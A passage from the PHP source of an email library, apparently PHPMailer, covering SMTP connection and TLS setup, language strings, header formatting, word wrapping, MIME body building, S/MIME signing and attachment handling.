        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
